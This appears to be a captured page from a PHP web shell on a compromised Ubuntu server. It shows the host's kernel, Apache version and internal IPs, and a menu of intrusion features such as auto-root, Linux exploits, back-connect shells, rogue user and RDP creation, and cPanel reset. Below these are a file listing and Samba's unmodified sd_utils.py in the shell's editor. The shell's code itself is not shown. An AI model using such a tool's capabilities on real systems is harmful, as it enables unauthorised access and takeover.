Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
samba /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
dcerpc
[ DIR ]
drwxr-xr-x
emulate
[ DIR ]
drwxr-xr-x
gp_parse
[ DIR ]
drwxr-xr-x
kcc
[ DIR ]
drwxr-xr-x
netcmd
[ DIR ]
drwxr-xr-x
provision
[ DIR ]
drwxr-xr-x
samba3
[ DIR ]
drwxr-xr-x
subunit
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
12.62
KB
-rw-r--r--
_glue.cpython-310-x86_64-linux...
26.96
KB
-rw-r--r--
_ldb.cpython-310-x86_64-linux-...
66.32
KB
-rw-r--r--
auth.cpython-310-x86_64-linux-...
61.54
KB
-rw-r--r--
auth_util.py
1.1
KB
-rw-r--r--
colour.py
2.84
KB
-rw-r--r--
common.py
3.81
KB
-rw-r--r--
credentials.cpython-310-x86_64...
48.79
KB
-rw-r--r--
crypto.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
dbchecker.py
130.9
KB
-rw-r--r--
dckeytab.cpython-310-x86_64-li...
18.33
KB
-rw-r--r--
descriptor.py
27.97
KB
-rw-r--r--
dnsresolver.py
2.29
KB
-rw-r--r--
dnsserver.py
13.96
KB
-rw-r--r--
domain_update.py
14.97
KB
-rw-r--r--
drs_utils.py
18.23
KB
-rw-r--r--
dsdb.cpython-310-x86_64-linux-...
55.4
KB
-rw-r--r--
dsdb_dns.cpython-310-x86_64-li...
22.52
KB
-rw-r--r--
forest_update.py
19.75
KB
-rw-r--r--
gensec.cpython-310-x86_64-linu...
35.41
KB
-rw-r--r--
getopt.py
16.03
KB
-rw-r--r--
gp_ext_loader.py
2.09
KB
-rw-r--r--
gp_gnome_settings_ext.py
20.15
KB
-rw-r--r--
gp_msgs_ext.py
3.46
KB
-rw-r--r--
gp_scripts_ext.py
3.85
KB
-rw-r--r--
gp_sec_ext.py
8.87
KB
-rw-r--r--
gp_smb_conf_ext.py
3.79
KB
-rw-r--r--
gp_sudoers_ext.py
4.5
KB
-rw-r--r--
gpclass.py
21.5
KB
-rw-r--r--
gpo.cpython-310-x86_64-linux-g...
23.72
KB
-rw-r--r--
graph.py
27.76
KB
-rw-r--r--
hostconfig.py
2.29
KB
-rw-r--r--
idmap.py
3.25
KB
-rw-r--r--
join.py
75.74
KB
-rw-r--r--
logger.py
2.08
KB
-rw-r--r--
mdb_util.py
1.48
KB
-rw-r--r--
messaging.cpython-310-x86_64-l...
27.07
KB
-rw-r--r--
ms_display_specifiers.py
4.65
KB
-rw-r--r--
ms_forest_updates_markdown.py
9.15
KB
-rw-r--r--
ms_schema.py
9.32
KB
-rw-r--r--
ms_schema_markdown.py
2.21
KB
-rw-r--r--
ndr.py
5.31
KB
-rw-r--r--
net.cpython-310-x86_64-linux-g...
31.04
KB
-rw-r--r--
net_s3.cpython-310-x86_64-linu...
74.87
KB
-rw-r--r--
netbios.cpython-310-x86_64-lin...
22.88
KB
-rw-r--r--
ntacls.py
23.42
KB
-rw-r--r--
ntstatus.cpython-310-x86_64-li...
122.13
KB
-rw-r--r--
param.cpython-310-x86_64-linux...
32.07
KB
-rw-r--r--
policy.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
posix_eadb.cpython-310-x86_64-...
14.4
KB
-rw-r--r--
registry.cpython-310-x86_64-li...
28.04
KB
-rw-r--r--
remove_dc.py
18.18
KB
-rw-r--r--
samdb.py
59.92
KB
-rw-r--r--
schema.py
9.93
KB
-rw-r--r--
sd_utils.py
8.06
KB
-rw-r--r--
security.cpython-310-x86_64-li...
14.34
KB
-rw-r--r--
sites.py
3.96
KB
-rw-r--r--
subnets.py
8.3
KB
-rw-r--r--
tdb_util.py
1.45
KB
-rw-r--r--
trust_utils.py
2.1
KB
-rw-r--r--
upgrade.py
33.78
KB
-rw-r--r--
upgradehelpers.py
32.24
KB
-rw-r--r--
uptodateness.py
6.55
KB
-rw-r--r--
vgp_access_ext.py
6
KB
-rw-r--r--
vgp_files_ext.py
5.83
KB
-rw-r--r--
vgp_issue_ext.py
2.85
KB
-rw-r--r--
vgp_motd_ext.py
2.85
KB
-rw-r--r--
vgp_openssh_ext.py
4.39
KB
-rw-r--r--
vgp_startup_scripts_ext.py
5.51
KB
-rw-r--r--
vgp_sudoers_ext.py
5.41
KB
-rw-r--r--
vgp_symlink_ext.py
3.24
KB
-rw-r--r--
werror.cpython-310-x86_64-linu...
158.13
KB
-rw-r--r--
xattr.py
2.23
KB
-rw-r--r--
xattr_native.cpython-310-x86_6...
14.4
KB
-rw-r--r--
xattr_tdb.cpython-310-x86_64-l...
14.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sd_utils.py
# Utility methods for security descriptor manipulation # # Copyright Nadezhda Ivanova 2010 <nivanova@samba.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """Utility methods for security descriptor manipulation.""" import samba from ldb import Message, MessageElement, Dn from ldb import FLAG_MOD_REPLACE, SCOPE_BASE from samba.ndr import ndr_pack, ndr_unpack, ndr_deepcopy from samba.dcerpc import security from samba.ntstatus import ( NT_STATUS_OBJECT_NAME_NOT_FOUND, ) class SDUtils(object): """Some utilities for manipulation of security descriptors on objects.""" def __init__(self, samdb): self.ldb = samdb self.domain_sid = security.dom_sid(self.ldb.get_domain_sid()) def modify_sd_on_dn(self, object_dn, sd, controls=None): """Modify security descriptor using either SDDL string or security.descriptor object """ m = Message() if isinstance(object_dn, Dn): m.dn = object_dn else: m.dn = Dn(self.ldb, object_dn) assert(isinstance(sd, str) or isinstance(sd, security.descriptor)) if isinstance(sd, str): tmp_desc = security.descriptor.from_sddl(sd, self.domain_sid) elif isinstance(sd, security.descriptor): tmp_desc = sd m["nTSecurityDescriptor"] = MessageElement(ndr_pack(tmp_desc), FLAG_MOD_REPLACE, "nTSecurityDescriptor") self.ldb.modify(m, controls) def read_sd_on_dn(self, object_dn, controls=None): res = self.ldb.search(object_dn, SCOPE_BASE, None, ["nTSecurityDescriptor"], controls=controls) desc = res[0]["nTSecurityDescriptor"][0] return ndr_unpack(security.descriptor, desc) def get_object_sid(self, object_dn): res = self.ldb.search(object_dn) return ndr_unpack(security.dom_sid, res[0]["objectSid"][0]) def update_aces_in_dacl(self, dn, del_aces=None, add_aces=None, sddl_attr=None, controls=None): if del_aces is None: del_aces=[] if add_aces is None: add_aces=[] def ace_from_sddl(ace_sddl): ace_sd = security.descriptor.from_sddl("D:" + ace_sddl, self.domain_sid) assert(len(ace_sd.dacl.aces)==1) return ace_sd.dacl.aces[0] if sddl_attr is None: if controls is None: controls=["sd_flags:1:%d" % security.SECINFO_DACL] sd = self.read_sd_on_dn(dn, controls=controls) if not sd.type & security.SEC_DESC_DACL_PROTECTED: # if the DACL is not protected remove all # inherited aces, as they will be re-inherited # on the server, we need a ndr_deepcopy in order # to avoid reference problems while deleting # the aces while looping over them dacl_copy = ndr_deepcopy(sd.dacl) for ace in dacl_copy.aces: if ace.flags & security.SEC_ACE_FLAG_INHERITED_ACE: try: sd.dacl_del_ace(ace) except samba.NTSTATUSError as err: if err.args[0] != NT_STATUS_OBJECT_NAME_NOT_FOUND: raise err # dacl_del_ace may remove more than # one ace, so we may not find it anymore pass else: if controls is None: controls=[] res = self.ldb.search(dn, SCOPE_BASE, None, [sddl_attr], controls=controls) old_sddl = str(res[0][sddl_attr][0]) sd = security.descriptor.from_sddl(old_sddl, self.domain_sid) num_changes = 0 del_ignored = [] add_ignored = [] inherited_ignored = [] for ace in del_aces: if isinstance(ace, str): ace = ace_from_sddl(ace) assert(isinstance(ace, security.ace)) if ace.flags & security.SEC_ACE_FLAG_INHERITED_ACE: inherited_ignored.append(ace) continue if ace not in sd.dacl.aces: del_ignored.append(ace) continue sd.dacl_del_ace(ace) num_changes += 1 for ace in add_aces: add_idx = -1 if isinstance(ace, dict): if "idx" in ace: add_idx = ace["idx"] ace = ace["ace"] if isinstance(ace, str): ace = ace_from_sddl(ace) assert(isinstance(ace, security.ace)) if ace.flags & security.SEC_ACE_FLAG_INHERITED_ACE: inherited_ignored.append(ace) continue if ace in sd.dacl.aces: add_ignored.append(ace) continue sd.dacl_add(ace, add_idx) num_changes += 1 if num_changes == 0: return del_ignored, add_ignored, inherited_ignored if sddl_attr is None: self.modify_sd_on_dn(dn, sd, controls=controls) else: new_sddl = sd.as_sddl(self.domain_sid) m = Message() m.dn = dn m[sddl_attr] = MessageElement(new_sddl.encode('ascii'), FLAG_MOD_REPLACE, sddl_attr) self.ldb.modify(m, controls=controls) return del_ignored, add_ignored, inherited_ignored def dacl_prepend_aces(self, object_dn, aces, controls=None): """Prepend an ACE (or more) to an objects security descriptor """ ace_sd = security.descriptor.from_sddl("D:" + aces, self.domain_sid) add_aces = [] add_idx = 0 for ace in ace_sd.dacl.aces: add_aces.append({"idx": add_idx, "ace": ace}) add_idx += 1 _,ai,ii = self.update_aces_in_dacl(object_dn, add_aces=add_aces, controls=controls) return ai, ii def dacl_add_ace(self, object_dn, ace): """Add an ACE (or more) to an objects security descriptor """ _,_ = self.dacl_prepend_aces(object_dn, ace, controls=["show_deleted:1"]) def dacl_append_aces(self, object_dn, aces, controls=None): """Append an ACE (or more) to an objects security descriptor """ ace_sd = security.descriptor.from_sddl("D:" + aces, self.domain_sid) add_aces = [] for ace in ace_sd.dacl.aces: add_aces.append(ace) _,ai,ii = self.update_aces_in_dacl(object_dn, add_aces=add_aces, controls=controls) return ai, ii def dacl_delete_aces(self, object_dn, aces, controls=None): """Delete an ACE (or more) to an objects security descriptor """ del_sd = security.descriptor.from_sddl("D:" + aces, self.domain_sid) del_aces = [] for ace in del_sd.dacl.aces: del_aces.append(ace) di,_,ii = self.update_aces_in_dacl(object_dn, del_aces=del_aces, controls=controls) return di, ii def get_sd_as_sddl(self, object_dn, controls=[]): """Return object nTSecutiryDescriptor in SDDL format """ desc = self.read_sd_on_dn(object_dn, controls + ["show_deleted:1"]) return desc.as_sddl(self.domain_sid)
Close